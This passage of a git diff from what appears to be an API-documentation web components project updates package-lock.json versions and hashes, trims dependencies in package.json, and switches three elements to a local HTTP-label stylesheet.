-      "integrity": "sha512-rXILpcQlkF/QuFez2BJDf3GsqpjGKbkUUToAIGo9A0Q6ZkoSGogZJulrUdwRkrAsoQvoZsrjCYt8+zblOk7JQQ==",
+      "version": "8.3.0",
+      "resolved": "https://registry.npmjs.org/open/-/open-8.3.0.tgz",
+      "integrity": "sha512-7INcPWb1UcOwSQxAXTnBJ+FxVV4MPs/X++FWWBtgY69/J5lc+tCteMt/oFK1MnkyHC4VILLa9ntmwKTwDR4Q9w==",
       "dev": true,
       "requires": {
         "define-lazy-prop": "^2.0.0",
@@ -8377,14 +8844,6 @@
       "dev": true,
       "requires": {
         "isarray": "0.0.1"
-      },
-      "dependencies": {
-        "isarray": {
-          "version": "0.0.1",
-          "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
-          "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=",
-          "dev": true
-        }
       }
     },
     "path-type": {
@@ -8538,9 +8997,9 @@
       }
     },
     "playwright": {
-      "version": "1.15.0",
-      "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.15.0.tgz",
-      "integrity": "sha512-JtagFVjNvccP1rIixHB/4KbR+BzMTJLty6mo71YLatvJR9ZH+PX8DLlhw1KDdIH2YGMSQGf2ihh4KAp9tsklxQ==",
+      "version": "1.15.2",
+      "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.15.2.tgz",
+      "integrity": "sha512-+Z+7ckihyxR6rK5q8DWC6eUbKARfXpyxpjNcoJfgwSr64lAOzjhyFQiPC/JkdIqhsLgZjxpWfl1S7fLb+wPkgA==",
       "dev": true,
       "requires": {
         "commander": "^6.1.0",
@@ -8671,15 +9130,10 @@
           "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.3.0.tgz",
           "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q=="
         },
-        "isarray": {
-          "version": "0.0.1",
-          "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
-          "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8="
-        },
-        "node-fetch": {
-          "version": "2.6.0",
-          "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.0.tgz",
-          "integrity": "sha512-8dG4H5ujfvFiqDmVu9fQ5bOHUC15JMjMY/Zumv26oOvvVJjM67KF8koCWIabKQ1GJIa9r2mMZscBq/TbdOcmNA=="
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
         },
         "readable-stream": {
           "version": "1.1.14",
@@ -8697,11 +9151,6 @@
           "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.1.tgz",
           "integrity": "sha512-0tF3AGSD1ppQeuffsLDIOWlKUd3lS92tFxcsrh5Pe3ZphhnoK+oXIBTzOAThZCiuINZLvpiLH/1VS1/ANEJVig=="
         },
-        "string_decoder": {
-          "version": "0.10.31",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
-          "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ="
-        },
         "through2": {
           "version": "3.0.2",
           "resolved": "https://registry.npmjs.org/through2/-/through2-3.0.2.tgz",
@@ -8858,11 +9307,6 @@
           "requires": {
             "lie": "3.1.1"
           }
-        },
-        "uuid": {
-          "version": "3.2.1",
-          "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz",
-          "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA=="
         }
       }
     },
@@ -8986,6 +9430,12 @@
           "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
           "dev": true
         },
+        "node-fetch": {
+          "version": "2.6.1",
+          "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz",
+          "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==",
+          "dev": true
+        },
         "pkg-dir": {
           "version": "4.2.0",
           "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
@@ -9066,6 +9516,12 @@
             "toidentifier": "1.0.0"
           }
         },
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+          "dev": true
+        },
         "setprototypeof": {
           "version": "1.1.1",
           "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz",
@@ -9115,9 +9571,9 @@
       }
     },
     "rdf-object": {
-      "version": "1.11.1",
-      "resolved": "https://registry.npmjs.org/rdf-object/-/rdf-object-1.11.1.tgz",
-      "integrity": "sha512-YMCZKa/2jEZjku1KfE2ODqLQo3DlKHexPwVK8el25L2RITFhdd7NUHw4TyEstrNzLje9IrbKP/ISUfsPLhoobw==",
+      "version": "1.12.0",
+      "resolved": "https://registry.npmjs.org/rdf-object/-/rdf-object-1.12.0.tgz",
+      "integrity": "sha512-LF4LjYCneh2RJcUSPWbTfGgsYqRMcElmHDR3lPkMrJQ6azrCqY9DLdVWaqK7xRn1ujeHWiOkS34ThTZgzzvuUQ==",
       "dev": true,
       "requires": {
         "@rdfjs/types": "*",
@@ -9314,13 +9770,14 @@
       }
     },
     "readable-stream": {
-      "version": "3.6.0",
-      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
-      "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+      "version": "1.0.34",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz",
+      "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=",
       "requires": {
-        "inherits": "^2.0.3",
-        "string_decoder": "^1.1.1",
-        "util-deprecate": "^1.0.1"
+        "core-util-is": "~1.0.0",
+        "inherits": "~2.0.1",
+        "isarray": "0.0.1",
+        "string_decoder": "~0.10.x"
       }
     },
     "readable-stream-node-to-web": {
@@ -9336,6 +9793,34 @@
       "dev": true,
       "requires": {
         "readable-stream": "^3.6.0"
+      },
+      "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+          "dev": true
+        },
+        "readable-stream": {
+          "version": "3.6.0",
+          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+          "dev": true,
+          "requires": {
+            "inherits": "^2.0.3",
+            "string_decoder": "^1.1.1",
+            "util-deprecate": "^1.0.1"
+          }
+        },
+        "string_decoder": {
+          "version": "1.3.0",
+          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+          "dev": true,
+          "requires": {
+            "safe-buffer": "~5.2.0"
+          }
+        }
       }
     },
     "readdirp": {
@@ -9593,6 +10078,14 @@
       "dev": true,
       "requires": {
         "tslib": "^1.9.0"
+      },
+      "dependencies": {
+        "tslib": {
+          "version": "1.14.1",
+          "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+          "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+          "dev": true
+        }
       }
     },
     "safe-buffer": {
@@ -9686,9 +10179,9 @@
       }
     },
     "signal-exit": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.4.tgz",
-      "integrity": "sha512-rqYhcAnZ6d/vTPGghdrw7iumdcbXpsk1b8IG/rz+VWV51DM0p7XCtMoJ3qhPLIbp3tvyt3pKRbaaEMZYpHto8Q==",
+      "version": "3.0.5",
+      "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.5.tgz",
+      "integrity": "sha512-KWcOiKeQj6ZyXx7zq4YxSMgHRlod4czeBQZrPb8OKcohcqAXShm7E20kEMle9WBt26hFcAf0qLOcp5zmY7kOqQ==",
       "dev": true
     },
     "simple-swizzle": {
@@ -9778,10 +10271,9 @@
       }
     },
     "spark-md5": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz",
-      "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==",
-      "dev": true
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-2.0.2.tgz",
+      "integrity": "sha1-N7djhHdjrn56zvLKUjPQHmSaeLc="
     },
     "sparqlalgebrajs": {
       "version": "3.0.3",
@@ -9817,12 +10309,26 @@
         "spark-md5": "^3.0.1",
         "sparqlalgebrajs": "^3.0.2",
         "uuid": "^8.0.0"
+      },
+      "dependencies": {
+        "spark-md5": {
+          "version": "3.0.2",
+          "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz",
+          "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==",
+          "dev": true
+        },
+        "uuid": {
+          "version": "8.3.2",
+          "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+          "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
+          "dev": true
+        }
       }
     },
     "sparqljs": {
-      "version": "3.5.0",
-      "resolved": "https://registry.npmjs.org/sparqljs/-/sparqljs-3.5.0.tgz",
-      "integrity": "sha512-tDcW4Bswx4jMNTb/h1DzYdSglK2YcxySAaRLy0CZckALqztr62WxGHCjOzLw7ps02JQd/28nB99dSzkhRBOf9w==",
+      "version": "3.5.1",
+      "resolved": "https://registry.npmjs.org/sparqljs/-/sparqljs-3.5.1.tgz",
+      "integrity": "sha512-sHc6z7hNF3ACvXurKe8hT1sD52Fc0fN3uPLS6SQnXRV9CJl33GNAS4w5Dd3X3GgykUt9SlnjhI1QRKhLzun4qQ==",
       "dev": true,
       "requires": {
         "rdf-data-factory": "^1.0.4"
@@ -9917,6 +10423,34 @@
       "dev": true,
       "requires": {
         "readable-stream": "^3.0.0"
+      },
+      "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+          "dev": true
+        },
+        "readable-stream": {
+          "version": "3.6.0",
+          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+          "dev": true,
+          "requires": {
+            "inherits": "^2.0.3",
+            "string_decoder": "^1.1.1",
+            "util-deprecate": "^1.0.1"
+          }
+        },
+        "string_decoder": {
+          "version": "1.3.0",
+          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+          "dev": true,
+          "requires": {
+            "safe-buffer": "~5.2.0"
+          }
+        }
       }
     },
     "sprintf-js": {
@@ -10013,12 +10547,9 @@
       }
     },
     "string_decoder": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
-      "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
-      "requires": {
-        "safe-buffer": "~5.2.0"
-      }
+      "version": "0.10.31",
+      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
+      "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ="
     },
     "stringify-object": {
       "version": "3.3.0",
@@ -10085,17 +10616,17 @@
       }
     },
     "table": {
-      "version": "6.7.1",
-      "resolved": "https://registry.npmjs.org/table/-/table-6.7.1.tgz",
-      "integrity": "sha512-ZGum47Yi6KOOFDE8m223td53ath2enHcYLgOCjGr5ngu8bdIARQk6mN/wRMv4yMRcHnCSnHbCEha4sobQx5yWg==",
+      "version": "6.7.2",
+      "resolved": "https://registry.npmjs.org/table/-/table-6.7.2.tgz",
+      "integrity": "sha512-UFZK67uvyNivLeQbVtkiUs8Uuuxv24aSL4/Vil2PJVtMgU8Lx0CYkP12uCGa3kjyQzOSgV1+z9Wkb82fCGsO0g==",
       "dev": true,
       "requires": {
         "ajv": "^8.0.1",
         "lodash.clonedeep": "^4.5.0",
         "lodash.truncate": "^4.4.2",
         "slice-ansi": "^4.0.0",
-        "string-width": "^4.2.0",
-        "strip-ansi": "^6.0.0"
+        "string-width": "^4.2.3",
+        "strip-ansi": "^6.0.1"
       },
       "dependencies": {
         "ajv": {
@@ -10167,6 +10698,34 @@
         "fs-constants": "^1.0.0",
         "inherits": "^2.0.3",
         "readable-stream": "^3.1.1"
+      },
+      "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+          "dev": true
+        },
+        "readable-stream": {
+          "version": "3.6.0",
+          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+          "dev": true,
+          "requires": {
+            "inherits": "^2.0.3",
+            "string_decoder": "^1.1.1",
+            "util-deprecate": "^1.0.1"
+          }
+        },
+        "string_decoder": {
+          "version": "1.3.0",
+          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+          "dev": true,
+          "requires": {
+            "safe-buffer": "~5.2.0"
+          }
+        }
       }
     },
     "text-extensions": {
@@ -10199,29 +10758,6 @@
       "requires": {
         "readable-stream": ">=1.0.33-1 <1.1.0-0",
         "xtend": ">=4.0.0 <4.1.0-0"
-      },
-      "dependencies": {
-        "isarray": {
-          "version": "0.0.1",
-          "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
-          "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8="
-        },
-        "readable-stream": {
-          "version": "1.0.34",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz",
-          "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.1",
-            "isarray": "0.0.1",
-            "string_decoder": "~0.10.x"
-          }
-        },
-        "string_decoder": {
-          "version": "0.10.31",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
-          "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ="
-        }
       }
     },
     "to-boolean-x": {
@@ -10344,13 +10880,6 @@
         "psl": "^1.1.33",
         "punycode": "^2.1.1",
         "universalify": "^0.1.2"
-      },
-      "dependencies": {
-        "universalify": {
-          "version": "0.1.2",
-          "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz",
-          "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg=="
-        }
       }
     },
     "tr46": {
@@ -10415,14 +10944,6 @@
         "make-error": "^1.1.1",
         "source-map-support": "^0.5.17",
         "yn": "3.1.1"
-      },
-      "dependencies": {
-        "diff": {
-          "version": "4.0.2",
-          "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz",
-          "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==",
-          "dev": true
-        }
       }
     },
     "tsconfig-paths": {
@@ -10438,9 +10959,9 @@
       }
     },
     "tslib": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
-      "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==",
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz",
+      "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==",
       "dev": true
     },
     "tsscmp": {
@@ -10522,12 +11043,6 @@
       "integrity": "sha512-VAH4IvQ7BDFYglMd7BPRDfLgxZZX4O4TFcRDA6EN5X7erNJJq+McIEp8np9aVtxrCJ6qx4GTYVfOWNjcqwZgRw==",
       "dev": true
     },
-    "uglify-js": {
-      "version": "3.14.2",
-      "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.14.2.tgz",
-      "integrity": "sha512-rtPMlmcO4agTUfz10CbgJ1k6UAoXM2gWb3GoMPPZB/+/Ackf8lNWk11K4rYi2D0apgoFRLtQOZhb+/iGNJq26A==",
-      "dev": true
-    },
     "unbox-primitive": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.1.tgz",
@@ -10556,10 +11071,9 @@
       "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8="
     },
     "universalify": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
-      "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
-      "dev": true
+      "version": "0.1.2",
+      "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz",
+      "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg=="
     },
     "unpipe": {
       "version": "1.0.0",
@@ -10626,10 +11140,9 @@
       "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8="
     },
     "uuid": {
-      "version": "8.3.2",
-      "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
-      "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
-      "dev": true
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz",
+      "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA=="
     },
     "v8-compile-cache": {
       "version": "2.3.0",
@@ -10638,9 +11151,9 @@
       "dev": true
     },
     "v8-to-istanbul": {
-      "version": "8.0.0",
-      "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-8.0.0.tgz",
-      "integrity": "sha512-LkmXi8UUNxnCC+JlH7/fsfsKr5AU110l+SYGJimWNkWhxbN5EyeOtm1MJ0hhvqMMOhGwBj1Fp70Yv9i+hX0QAg==",
+      "version": "8.1.0",
+      "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-8.1.0.tgz",
+      "integrity": "sha512-/PRhfd8aTNp9Ggr62HPzXg2XasNFGy5PBt0Rp04du7/8GNNSgxFL6WBTkgMKSL9bFjH+8kKEG3f37FmxiTqUUA==",
       "dev": true,
       "requires": {
         "@types/istanbul-lib-coverage": "^2.0.1",
@@ -10863,6 +11376,34 @@
         "stack-trace": "0.0.x",
         "triple-beam": "^1.3.0",
         "winston-transport": "^4.4.0"
+      },
+      "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+          "dev": true
+        },
+        "readable-stream": {
+          "version": "3.6.0",
+          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+          "dev": true,
+          "requires": {
+            "inherits": "^2.0.3",
+            "string_decoder": "^1.1.1",
+            "util-deprecate": "^1.0.1"
+          }
+        },
+        "string_decoder": {
+          "version": "1.3.0",
+          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+          "dev": true,
+          "requires": {
+            "safe-buffer": "~5.2.0"
+          }
+        }
       }
     },
     "winston-transport": {
@@ -10875,6 +11416,18 @@
         "triple-beam": "^1.2.0"
       },
       "dependencies": {
+        "inherits": {
+          "version": "2.0.4",
+          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
+          "dev": true
+        },
+        "isarray": {
+          "version": "1.0.0",
+          "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+          "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
+          "dev": true
+        },
         "readable-stream": {
           "version": "2.3.7",
           "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
diff --git a/package.json b/package.json
index 22ced08..1a2248f 100644
--- a/package.json
+++ b/package.json
@@ -51,8 +51,7 @@
     "@anypoint-web-components/anypoint-radio-button": "^0.1.9",
     "@anypoint-web-components/anypoint-switch": "^0.1.10",
     "@anypoint-web-components/anypoint-tabs": "^0.1.19",
-    "@api-components/api-schema": "^0.1.4",
-    "@api-components/http-method-label": "^3.1.4",
+    "@api-components/api-schema": "^0.1.5",
     "@open-wc/dedupe-mixin": "^1.3.0",
     "amf-json-ld-lib": "0.0.14",
     "dompurify": "^2.3.3",
@@ -60,26 +59,25 @@
     "lit-html": "^1.4.1"
   },
   "devDependencies": {
-    "@advanced-rest-client/arc-demo-helper": "^3.0.3",
+    "@advanced-rest-client/arc-demo-helper": "^4.0.1",
     "@anypoint-web-components/anypoint-dialog": "^0.1.10",
     "@anypoint-web-components/anypoint-styles": "^1.0.2",
     "@api-components/api-model-generator": "^0.2.14",
     "@api-components/api-navigation": "^4.3.2",
-    "@commitlint/cli": "^13.2.0",
+    "@commitlint/cli": "^13.2.1",
     "@commitlint/config-conventional": "^13.2.0",
     "@open-wc/eslint-config": "^4.3.0",
     "@open-wc/testing": "^2.5.33",
     "@web/dev-server": "^0.1.25",
     "@web/test-runner": "^0.13.18",
     "@web/test-runner-playwright": "^0.8.8",
-    "eslint": "^7.32.0",
+    "eslint": "^8.0.0",
     "eslint-config-prettier": "^8.3.0",
     "husky": "^7.0.2",
-    "lint-staged": "^11.2.0",
+    "lint-staged": "^11.2.2",
     "sinon": "^11.1.2",
     "typescript": "^4.4.3",
-    "typescript-lit-html-plugin": "^0.9.0",
-    "uglify-js": "^3.14.2"
+    "typescript-lit-html-plugin": "^0.9.0"
   },
   "scripts": {
     "start": "web-dev-server --app-index demo/index.html --node-resolve --open --watch --root-dir .",
diff --git a/src/elements/ApiDocumentationDocumentElement.js b/src/elements/ApiDocumentationDocumentElement.js
index 5a0de6a..cd84bf0 100644
--- a/src/elements/ApiDocumentationDocumentElement.js
+++ b/src/elements/ApiDocumentationDocumentElement.js
@@ -1,9 +1,9 @@
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-element';
-import { Styles as HttpStyles } from '@api-components/http-method-label';
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
 import elementStyles from './styles/ApiDocumentationDocument.js';
 import commonStyles from './styles/Common.js';
+import HttpStyles from './styles/HttpLabel.js';
 import { ApiDocumentationBase, descriptionTemplate, serializerValue } from './ApiDocumentationBase.js';
 
 /** @typedef {import('lit-element').TemplateResult} TemplateResult */
@@ -20,7 +20,7 @@ export const setModel = Symbol('setModel');
  */
 export default class ApiDocumentationDocumentElement extends ApiDocumentationBase {
   get styles() {
-    return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles];
+    return [elementStyles, commonStyles, HttpStyles, MarkdownStyles];
   }
 
   /**
diff --git a/src/elements/ApiOperationDocumentElement.js b/src/elements/ApiOperationDocumentElement.js
index 09f4877..4276f29 100644
--- a/src/elements/ApiOperationDocumentElement.js
+++ b/src/elements/ApiOperationDocumentElement.js
@@ -1,7 +1,6 @@
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-element';
 import { classMap } from 'lit-html/directives/class-map.js';
-import { Styles as HttpStyles } from '@api-components/http-method-label';
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
 import { ApiSchemaValues, ApiSchemaGenerator } from '@api-components/api-schema';
 import '@advanced-rest-client/highlight/arc-marked.js';
@@ -9,6 +8,7 @@ import '@anypoint-web-components/anypoint-tabs/anypoint-tab.js';
 import '@anypoint-web-components/anypoint-tabs/anypoint-tabs.js';
 import '@advanced-rest-client/arc-icons/arc-icon.js';
 import '@advanced-rest-client/http-code-snippets/http-code-snippets.js';
+import HttpStyles from './styles/HttpLabel.js';
 import { ns } from "../helpers/Namespace.js";
 import { QueryParameterProcessor } from '../lib/QueryParameterProcessor.js';
 import elementStyles from './styles/ApiOperation.js';
@@ -95,7 +95,7 @@ export const computeOperationModel = Symbol('computeOperationModel');
  */
 export default class ApiOperationDocumentElement extends ApiDocumentationBase {
   get styles() {
-    return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles, schemaStyles];
+    return [elementStyles, commonStyles, HttpStyles, MarkdownStyles, schemaStyles];
   }
 
   /** 
diff --git a/src/elements/ApiSummaryElement.js b/src/elements/ApiSummaryElement.js
index c552028..c4ff998 100644
--- a/src/elements/ApiSummaryElement.js
+++ b/src/elements/ApiSummaryElement.js
@@ -1,9 +1,9 @@
 /* eslint-disable class-methods-use-this */
 import { html } from 'lit-element';
 import { unsafeHTML } from 'lit-html/directives/unsafe-html.js';
-import { Styles as HttpStyles } from '@api-components/http-method-label';
 import { MarkdownStyles } from '@advanced-rest-client/highlight';
 import '@advanced-rest-client/highlight/arc-marked.js';
+import HttpStyles from './styles/HttpLabel.js';
 import elementStyles from './styles/ApiSummary.js';
 import commonStyles from './styles/Common.js';
 import { 
@@ -54,7 +54,7 @@ export const methodTemplate = Symbol('methodTemplate');
  */
 export default class ApiSummaryElement extends ApiDocumentationBase {
   get styles() {
-    return [elementStyles, commonStyles, HttpStyles.default, MarkdownStyles];
+    return [elementStyles, commonStyles, HttpStyles, MarkdownStyles];
   }
 
   /**

From 95b69f97a31ed2ddadeefe23e60bdfc069109381 Mon Sep 17 00:00:00 2001
